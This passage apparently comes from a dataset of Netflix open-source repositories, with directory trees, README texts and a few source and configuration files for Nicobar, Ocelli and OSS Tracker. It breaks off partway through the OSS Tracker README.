"rest", "children": [{"type": "file", "name": "GsonMessageBodyHandler.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}, {"type": "directory", "name": "scriptmanager", "children": [{"type": "file", "name": "home.ftl"}, {"type": "file", "name": "home.js"}, {"type": "file", "name": "repository_list.ftl"}, {"type": "file", "name": "repository_list.js"}, {"type": "file", "name": "repository_view.ftl"}, {"type": "file", "name": "repository_view.js"}]}, {"type": "file", "name": "scriptmanager-app.properties"}, {"type": "file", "name": "scriptmanager-explorer.properties"}, {"type": "file", "name": "scriptmanager-explorers-app.properties"}]}, {"type": "directory", "name": "webapp", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "file", "name": "MANIFEST.MF"}]}, {"type": "directory", "name": "WEB-INF", "children": [{"type": "file", "name": "web.xml"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nicobar", "children": [{"type": "directory", "name": "manager", "children": [{"type": "directory", "name": "explorer", "children": [{"type": "file", "name": "ExplorerAppTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}]} | <img src="https://github.com/Netflix/Nicobar/blob/master/images/nicobar_logo_210x210.png">
# Nicobar: Dynamic Scripting and Module Loader Framework for Java
Nicobar is a dynamic scripting framework for java, driven by a powerful module loading system based
on [JBoss Modules](https://github.com/jboss-modules/jboss-modules). Scripts can be source, written in JVM
compatible languages (like Groovy), or can be compiled bytecode, in the form of .class
files. Scripts can be fetched from persistence dynamically, (compiled and) converted into modules,
and inserted in the correct place in a runtime module graph based upon module metadata.
## Status
This project is not being actively maintained.
## Full Documentation
See the [Wiki](https://github.com/Netflix/Nicobar/wiki/) for full documentation, examples, operational details and other information.
See the [Javadoc](http://netflix.github.com/Nicobar/javadoc) for the API.
## What does it do?
#### 1) Dynamically compile and load scripts
Dynamically compile and load JVM compatible script sources, or compiled bytecode archives into your
running JVM.
#### 2) Establish complex module dependency graphs
Establish an arbitrary dependency graph between script modules, with the ability to filter imported
and exported packages from each module. Modules are isolated from each other via classloaders.
#### 3) Provides useful management and persistence features
Persist and fetch script modules from pluggable repository implementations, including filesystem and
cassandra based ones. Use management interface to publish script archives to repositories. Query
published archives from repository.
## Hello Nicobar!
Here is how you initialize your the Nicobar script module loader to support Groovy scripts.
```java
public void initializeNicobar() throws Exception {
// create the loader with the groovy plugin
ScriptModuleLoader moduleLoader = new ScriptModuleLoader.Builder()
.addPluginSpec(new ScriptCompilerPluginSpec.Builder(GROOVY2_PLUGIN_ID) // configure Groovy plugin
.addRuntimeResource(ExampleResourceLocator.getGroovyRuntime())
.addRuntimeResource(ExampleResourceLocator.getGroovyPluginLocation())
.withPluginClassName(GROOVY2_COMPILER_PLUGIN_CLASS)
.build())
.build();
}
```
You will typically have ArchiveRepository containing Nicobar scripts. The example below initializes
a repository that is laid out as directories at some file system path. Nicobar provides a repository
poller which can look for updates inside a repository, and load updated modules into the module
loader.
```java
// create an archive repository and wrap a poller around it to feed updates to the module loader
Path baseArchiveDir = Paths.get("/tmp/archiveRepo");
JarArchiveRepository repository = new JarArchiveRepository.Builder(baseArchiveDir).build();
ArchiveRepositoryPoller poller = new ArchiveRepositoryPoller.Builder(moduleLoader).build();
poller.addRepository(repository, 30, TimeUnit.SECONDS, true);
```
ScriptModules can be retrieved out of the module loader by name (and an optional version). Classes
can be retrieved from ScriptModules by name, or by type and exercised:
```java
ScriptModule module = moduleLoader.getScriptModule("hellomodule");
Class<?> callableClass = ScriptModuleUtils.findAssignableClass(module, Callable.class);
Callable<String> instance = (Callable<String>) callableClass.newInstance();
String result = instance.call();
```
More examples and information can be found in the [How To Use](https://github.com/Netflix/Nicobar/wiki/How-To-Use) section.
Example source code can be found in the [nicobar-examples](https://github.com/Netflix/Nicobar/tree/master/nicobar-example) subproject.
## Binaries
Binaries and dependency information for Maven, Ivy, Gradle and others can be found at [http://search.maven.org](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22com.netflix.Nicobar%22%20AND%20a%3A%22nicobar-core%22).
Example for Maven:
```xml
<dependency>
<groupId>com.netflix.Nicobar</groupId>
<artifactId>nicobar-core</artifactId>
<version>x.y.z</version>
</dependency>
```
and for Ivy:
```xml
<dependency org="com.netflix.Nicobar" name="nicobar-core" rev="x.y.z" />
```
You need Java 6 or later.
## Build
To build:
```
$ git clone [email protected]:Netflix/Nicobar.git
$ cd Nicobar/
$ ./gradlew build
```
## Bugs and Feedback
For bugs, questions and discussions please use the [Github Issues](https://github.com/Netflix/Nicobar/issues).
## LICENSE
Copyright 2015 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
<http://www.apache.org/licenses/LICENSE-2.0>
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
## Notes
1. `nicobar-core` unit tests rely on test jars containing classes. In order for these to be
maintainable, there is a separate project `nicobar-core/nicobar-test-classes`. If you are modifying
the test classes, Make sure to run the `copyTestClassJars` task on `nicobar-test-classes`. This will
generate test resource jars in `nicobar-test-classes/build/testJars`. Manually copy the jars into
`nicobar-core/src/test/resources` overwriting any existing jars.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-6.8.3-bin.zip\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n", "nicobar-core\\src\\test\\resources\\classpathdir\\classes\\com\\netflix\\nicobar\\hello\\Main.txt": "Main\n", "nicobar-manager\\src\\main\\java\\com\\netflix\\nicobar\\manager\\explorer\\ScriptManagerApp.java": "/**\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.nicobar.manager.explorer;\n\nimport com.netflix.karyon.spi.Application;\n\n@Application\npublic class ScriptManagerApp {\n}\n", "nicobar-manager\\src\\main\\resources\\scriptmanager-app.properties": "# You must provide any specific packages that must be scanned for karyon for finding Application and Component classes.\n# By default karyon only searches com.netflix package\n# The package specified here is the root package, any subpackages under the root will also be scanned.\ncom.netflix.karyon.server.base.packages=com.netflix.nicobar.manager\ncom.netflix.karyon.server.bootstrap.class=com.netflix.nicobar.manager.explorer.ScriptManagerBootstrap\n\n# Comment this property if you need eureka integration and populate eureka-client.properties with your environment details.\ncom.netflix.karyon.eureka.disable=true", "nicobar-manager\\src\\main\\resources\\scriptmanager-explorers-app.properties": "com.netflix.explorers.environmentName=test\ncom.netflix.explorers.applicationName=ScriptManager\ncom.netflix.explorers.applicationVersion=1.0\ncom.netflix.explorers.currentRegion=us-east-1", "nicobar-manager\\src\\test\\java\\com\\netflix\\nicobar\\manager\\explorer\\ExplorerAppTest.java": "/**\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.nicobar.manager.explorer;\n\n\nimport static org.testng.Assert.assertEquals;\n\nimport java.io.IOException;\nimport java.net.ServerSocket;\nimport java.util.Map;\n\nimport javax.ws.rs.core.MediaType;\n\nimport org.apache.commons.io.IOUtils;\nimport org.apache.http.HttpResponse;\nimport org.apache.http.client.HttpClient;\nimport org.apache.http.client.methods.HttpGet;\nimport org.apache.http.impl.client.DefaultHttpClient;\nimport org.eclipse.jetty.server.Server;\nimport org.eclipse.jetty.servlet.DefaultServlet;\nimport org.eclipse.jetty.servlet.ServletContextHandler;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.testng.annotations.AfterClass;\nimport org.testng.annotations.BeforeClass;\nimport org.testng.annotations.Test;\n\nimport com.google.common.collect.ImmutableMap;\nimport com.google.inject.servlet.GuiceFilter;\nimport com.netflix.karyon.server.guice.KaryonGuiceContextListener;\n\n\npublic class ExplorerAppTest {\n private static final Logger LOG = LoggerFactory.getLogger(ExplorerAppTest.class);\n\n\n private static final Map<String, String> REST_END_POINTS = new ImmutableMap.Builder<String, String>()\n .put(\"/\", MediaType.TEXT_HTML)\n .put(\"/scriptmanager\", MediaType.TEXT_HTML)\n .put(\"/scriptmanager/repositorysummaries\", MediaType.APPLICATION_JSON)\n .build();\n\n private static int TEST_LOCAL_PORT;\n\n static {\n try {\n TEST_LOCAL_PORT = getLocalPort();\n } catch (IOException e) {\n LOG.error(\"IOException in finding local port for starting jetty \", e);\n }\n }\n\n\n private static int getLocalPort() throws IOException {\n ServerSocket ss = new ServerSocket(0);\n ss.setReuseAddress(true);\n return ss.getLocalPort();\n }\n\n private Server server;\n\n @BeforeClass\n public void init() throws Exception {\n System.setProperty(\"archaius.deployment.applicationId\",\"scriptmanager-app\");\n System.setProperty(\"archaius.deployment.environment\",\"dev\");\n\n server = new Server(TEST_LOCAL_PORT);\n\n ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);\n context.setContextPath(\"/\");\n context.addEventListener(new KaryonGuiceContextListener());\n\n context.addFilter(GuiceFilter.class, \"/*\", 1);\n context.addServlet(DefaultServlet.class, \"/\");\n\n server.setHandler(context);\n\n server.start();\n }\n\n @AfterClass\n public void cleanup() throws Exception {\n if (server != null) {\n server.stop();\n }\n }\n\n\n\n public void verifyRESTEndpoints() throws IOException {\n HttpClient client = new DefaultHttpClient();\n for (Map.Entry<String, String> restEndPoint : REST_END_POINTS.entrySet()) {\n final String endPoint = buildLocalHostEndpoint(restEndPoint.getKey());\n LOG.info(\"REST endpoint \" + endPoint);\n HttpGet restGet = new HttpGet(endPoint);\n HttpResponse response = client.execute(restGet);\n assertEquals(response.getStatusLine().getStatusCode(), 200);\n assertEquals(response.getEntity().getContentType().getValue(), restEndPoint.getValue());\n\n // need to consume full response before make another rest call with\n // the default SingleClientConnManager used with DefaultHttpClient\n IOUtils.closeQuietly(response.getEntity().getContent());\n\n }\n }\n\n private String buildLocalHostEndpoint(String endPoint) {\n return \"http://localhost:\" + TEST_LOCAL_PORT + endPoint;\n }\n\n}\n"} | null |
ocelli | {"type": "directory", "name": "ocelli", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "directory", "name": "ocelli-core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "file", "name": "AbstractLoadBalancerEvent.java"}, {"type": "file", "name": "CloseableInstance.java"}, {"type": "file", "name": "DelayStrategy.java"}, {"type": "directory", "name": "functions", "children": [{"type": "file", "name": "Actions.java"}, {"type": "file", "name": "Connectors.java"}, {"type": "file", "name": "Delays.java"}, {"type": "file", "name": "Failures.java"}, {"type": "file", "name": "Functions.java"}, {"type": "file", "name": "Limiters.java"}, {"type": "file", "name": "Metrics.java"}, {"type": "file", "name": "Retrys.java"}, {"type": "file", "name": "Stopwatches.java"}, {"type": "file", "name": "Topologies.java"}, {"type": "file", "name": "Weightings.java"}]}, {"type": "file", "name": "Host.java"}, {"type": "file", "name": "Instance.java"}, {"type": "file", "name": "InstanceCollector.java"}, {"type": "file", "name": "InstanceEvent.java"}, {"type": "file", "name": "InstanceEventListener.java"}, {"type": "file", "name": "InstanceManager.java"}, {"type": "file", "name": "InstanceQuarantiner.java"}, {"type": "file", "name": "Instances.java"}, {"type": "file", "name": "InstanceToNotification.java"}, {"type": "file", "name": "KeyedInstance.java"}, {"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "ChoiceOfTwoLoadBalancer.java"}, {"type": "file", "name": "RandomWeightedLoadBalancer.java"}, {"type": "file", "name": "RoundRobinLoadBalancer.java"}, {"type": "directory", "name": "weighting", "children": [{"type": "file", "name": "ClientsAndWeights.java"}, {"type": "file", "name": "EqualWeightStrategy.java"}, {"type": "file", "name": "InverseMaxWeightingStrategy.java"}, {"type": "file", "name": "LinearWeightingStrategy.java"}, {"type": "file", "name": "WeightingStrategy.java"}]}]}, {"type": "file", "name": "LoadBalancer.java"}, {"type": "file", "name": "LoadBalancerEvent.java"}, {"type": "file", "name": "LoadBalancerEventListener.java"}, {"type": "file", "name": "LoadBalancerStrategy.java"}, {"type": "directory", "name": "retrys", "children": [{"type": "file", "name": "BackupRequestRetryStrategy.java"}, {"type": "file", "name": "ExponentialBackoff.java"}]}, {"type": "file", "name": "SnapshotToInstance.java"}, {"type": "directory", "name": "stats", "children": [{"type": "file", "name": "CKMSQuantiles.java"}, {"type": "file", "name": "ExponentialAverage.java"}, {"type": "file", "name": "Frugal2UQuantiles.java"}, {"type": "file", "name": "Quantiles.java"}]}, {"type": "directory", "name": "topologies", "children": [{"type": "file", "name": "RingTopology.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "AtomicDouble.java"}, {"type": "file", "name": "RandomBlockingQueue.java"}, {"type": "file", "name": "RpsEstimator.java"}, {"type": "file", "name": "RxUtil.java"}, {"type": "file", "name": "SingleMetric.java"}, {"type": "file", "name": "StateMachine.java"}, {"type": "file", "name": "Stopwatch.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": "Behaviors.java"}, {"type": "file", "name": "Connects.java"}, {"type": "file", "name": "ManualFailureDetector.java"}, {"type": "file", "name": "Operations.java"}, {"type": "file", "name": "ResponseObserver.java"}, {"type": "file", "name": "TestClient.java"}, {"type": "file", "name": "TestClientConnector.java"}, {"type": "file", "name": "TestClientConnectorFactory.java"}, {"type": "file", "name": "TrackingOperation.java"}]}, {"type": "directory", "name": "functions", "children": [{"type": "file", "name": "GuardsTest.java"}]}, {"type": "file", "name": "InstanceQuarantinerTest.java"}, {"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "ChoiceOfTwoLoadBalancerTest.java"}, {"type": "directory", "name": "weighting", "children": [{"type": "file", "name": "BaseWeightingStrategyTest.java"}, {"type": "file", "name": "IntClientAndMetrics.java"}, {"type": "file", "name": "InverseMaxWeightingStrategyTest.java"}, {"type": "file", "name": "LinearWeightingStrategyTest.java"}]}]}, {"type": "file", "name": "LoadBalancerTest.java"}, {"type": "directory", "name": "perf", "children": [{"type": "file", "name": "PerfTest.java"}]}, {"type": "directory", "name": "retry", "children": [{"type": "file", "name": "BackupRequestStrategyTest.java"}, {"type": "file", "name": "RetryFailedTestRule.java"}]}, {"type": "directory", "name": "toplogies", "children": [{"type": "file", "name": "TopologiesTest.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "CountDownAction.java"}, {"type": "file", "name": "RandomQueueTest.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.xml"}]}]}]}]}, {"type": "directory", "name": "ocelli-eureka", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "eureka", "children": [{"type": "file", "name": "EurekaInterestManager.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "eureka", "children": [{"type": "file", "name": "EurekaInterestManagerTest.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "ocelli-eureka2", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "eureka2", "children": [{"type": "file", "name": "Eureka2InterestManager.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "eureka2", "children": [{"type": "file", "name": "Eureka2InterestManagerTest.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "ocelli-examples", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "rxnetty", "children": [{"type": "directory", "name": "http", "children": [{"type": "file", "name": "ChoiceOfTwo.java"}, {"type": "file", "name": "HttpExampleUtils.java"}, {"type": "file", "name": "RandomWeighted.java"}, {"type": "file", "name": "RoundRobin.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}]}]}]}, {"type": "directory", "name": "ocelli-rxnetty", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "rxnetty", "children": [{"type": "file", "name": "FailureListener.java"}, {"type": "directory", "name": "internal", "children": [{"type": "file", "name": "AbstractLoadBalancer.java"}, {"type": "file", "name": "HostCollector.java"}, {"type": "file", "name": "HostConnectionProvider.java"}, {"type": "file", "name": "HostHolder.java"}]}, {"type": "directory", "name": "protocol", "children": [{"type": "directory", "name": "http", "children": [{"type": "file", "name": "HttpLoadBalancer.java"}, {"type": "file", "name": "WeightedHttpClientListener.java"}]}, {"type": "directory", "name": "tcp", "children": [{"type": "file", "name": "ComparableTcpClientListener.java"}, {"type": "file", "name": "TcpLoadBalancer.java"}, {"type": "file", "name": "WeightedTcpClientListener.java"}]}, {"type": "file", "name": "WeightAware.java"}, {"type": "file", "name": "WeightComparator.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "conf", "children": [{"type": "file", "name": "log4j.xml"}]}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ocelli", "children": [{"type": "directory", "name": "rxnetty", "children": [{"type": "directory", "name": "internal", "children": [{"type": "file", "name": "AbstractLoadBalancerTest.java"}, {"type": "file", "name": "LoadBalancerRule.java"}, {"type": "file", "name": "LoadBalancingProviderTest.java"}]}]}]}]}]}]}]}]}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}]} | ## What is Ocelli?
Ocelli is a client side reactive load balancer based on RxJava.
```java
Observable<Client> loadBalancer = ...;
loadBalancer
.concatMap((client) -> client.doSomething())
.retry(2)
.subscribe();
```
## Why Ocelli?
In biology Ocelli is a simple eye as opposed to a complex eye. Ocelli the library is a simple load balancer implementation as opposed to very complex load balancers that do too many via magic or are too tightly coupled with the client transport. Don't know how to pronounce Ocelli? Goto http://www.merriam-webster.com/audio.php?file=ocellu02&word=ocelli
## How is Ocelli Reactive?
Ocelli exposes a very simple API to choose a client. A new client is emitted for each subscription to the return Observable based on changes within the load balancer and optimization based on the load balancing algorithm. Ocelli reacts to changes in the network topology either via server membership events or server failure detection.
## How is Ocelli Functional?
Ocelli is policy driven by delegating key strategies and metric sources via simple functions. This approach simplifies the load balancer implementation so that it is decoupled from the speicific client SPI. These functions are essentially the glue between the load balancer algorithm and the client SPI.
## Key design principles
### Metrics
Ocelli doesn't attempt to track metrics for client libraries. That role is delegated to the client libraries since most libraries already perform that task. Ocelli simply provides hooks (via functions) for libraries to provide the metric value.
### Retry
Retry friendly, not retry magic! Code that performs operations in multiple layers is easily susceptible to retry storms where each layer is unaware of retries in the next. Ocelli makes retries possible by tracking state so that retries are efficient but does not force any particular retry policy. Instead Ocelli let's the caller specify retry policieis via RxJava's built in retry operations such as retry(), retryWhen() and onErrorResumeNext().
### Composability
Ocelli is composable in that the load balancer can be combined with other functionality such as caching, retry and failover. Ocelli delegates as much functionality to the RxJava operators to give users of the library full control. In most cases specific policies may be specified in just one line of code.
### Light configuration
TODO
## Key features
### Pluggable load balancing strategy
### Pluggable metrics gathering
### Partitioning
Services are sometimes partitioned to distribute data, load or functionality. Ocelli provides a partitioning mechanism whereby Servers can be members of 0 to many partitions. The client can then choose to route traffic only to one partition and fall back to other partitions. For example, partitioning can be used to implement a rack aware topology where all requests are first directed at the same rack as the client but can fail over to other racks.
### Round robin vs. Weighted Round Robin
### Pluggable weighting strategy
#### Identity
The weight provided by the function is used as the weight. The highest value translates into a higher weight.
#### reverseMax
The weight is calculated as the difference between the max and the value. The lowest value therefore translates into a higher
### Testing
### Topologies
Topologies are similar to partitions but deal more with the changing position of the client host within a larger topology. Topologies also don't deal with data or functional aspects of a service. For example, to limit the number of hosts to which a client will connect the entire set of servers (including the client) are arranged into a ring and the client connects only to a subset of hosts within the ring using consistent hashing to ensure even distribution. As servers come in an out of existence Ocelli will adjust its target set of hosts to meet the new topology.
### Rate limiter
TODO
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Wed Jan 28 12:24:20 PST 2015\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.2.1-bin.zip\n"} | null |
osstracker | {"type": "directory", "name": "osstracker", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "build.gradle"}, {"type": "file", "name": "buildViaTravis.sh"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "file", "name": "docker-compose.yml"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "installViaTravis.sh"}, {"type": "directory", "name": "kibana-dashboards", "children": [{"type": "file", "name": "dashboard.json"}, {"type": "file", "name": "visualizations.json"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "directory", "name": "osstracker-console", "children": [{"type": "file", "name": "app.js"}, {"type": "file", "name": "Dockerfile"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "public", "children": [{"type": "directory", "name": "css", "children": [{"type": "file", "name": "osstracker.css"}]}, {"type": "file", "name": "favicon.ico"}, {"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "overall.js"}, {"type": "file", "name": "ownership.js"}, {"type": "file", "name": "perrepo.js"}, {"type": "file", "name": "settings.json"}]}, {"type": "file", "name": "overall.html"}, {"type": "file", "name": "ownership.html"}, {"type": "file", "name": "perrepoprivate.html"}, {"type": "file", "name": "perrepopublic.html"}]}, {"type": "directory", "name": "routes", "children": [{"type": "file", "name": "fakeEmployeeDirectoryService.js"}, {"type": "file", "name": "index.js"}]}, {"type": "file", "name": "settings.json"}, {"type": "directory", "name": "views", "children": [{"type": "file", "name": "error.jade"}, {"type": "file", "name": "layout.jade"}]}]}, {"type": "directory", "name": "osstracker-ddl", "children": [{"type": "file", "name": "elasticsearch-mappings.json"}, {"type": "file", "name": "elasticsearch.txt"}, {"type": "file", "name": "osstracker.cql"}]}, {"type": "directory", "name": "osstracker-scraper", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "oss", "children": [{"type": "directory", "name": "tools", "children": [{"type": "directory", "name": "osstrackerscraper", "children": [{"type": "file", "name": "CassandraAccess.scala"}, {"type": "file", "name": "Conf.scala"}, {"type": "file", "name": "ElasticSearchAccess.scala"}, {"type": "file", "name": "GithubAccess.scala"}, {"type": "file", "name": "GithubScraper.scala"}, {"type": "file", "name": "OssLifecycle.scala"}, {"type": "file", "name": "ReportWriter.scala"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "archiaus-issues.json"}, {"type": "file", "name": "hollow-issues.json"}, {"type": "file", "name": "log4j.properties"}, {"type": "file", "name": "security_monkey-issues.json"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "oss", "children": [{"type": "directory", "name": "tools", "children": [{"type": "directory", "name": "osstrackerscraper", "children": [{"type": "file", "name": "GitHubAccessTest.scala"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "osstracker-scraperapp", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "build.sh"}, {"type": "file", "name": "Dockerfile"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "oss", "children": [{"type": "directory", "name": "tools", "children": [{"type": "directory", "name": "osstrackerscraper", "children": [{"type": "directory", "name": "app", "children": [{"type": "file", "name": "ConsoleReportWriter.scala"}, {"type": "file", "name": "RunGithubScraper.scala"}]}]}]}]}]}]}]}]}]}]}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}]} | OSS Tracker
==========
[![Build Status](https://travis-ci.org/Netflix/osstracker.svg?branch=master)](https://travis-ci.org/Netflix/osstracker)
[![NetflixOSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/osstracker.svg)]()
OSS Tracker is an application that collects information about a Github organization and aggregates the data across
all projects within that organization into a single user interface to be used by various roles within the owning
organization.
For the community manager, all repositories are listed and metrics are combined for the organization as a whole. A
community manager can also organize projects into functional areas and appoint shepherds of these areas to assign
management and engineering leads.
The shepherds of each functional area can not only assign and maintain leads for each project, but also view
aggregated metrics for their area.
For individual owners, the OSS tracker gives a daily summary as well as historical information on key repository
metrics such as open issues and pull requests, days since last commit, and average time to resolve issues and pull
requests.
OSS Tracker works by running multiple analysis jobs as part of osstracer-scraper periodically. These jobs populate
a project ownership database as well as a time series project statistics database. OSS Tracker then exposes a web
application (osstracker-console) that gives visibility into these databases as well as access to control ownership
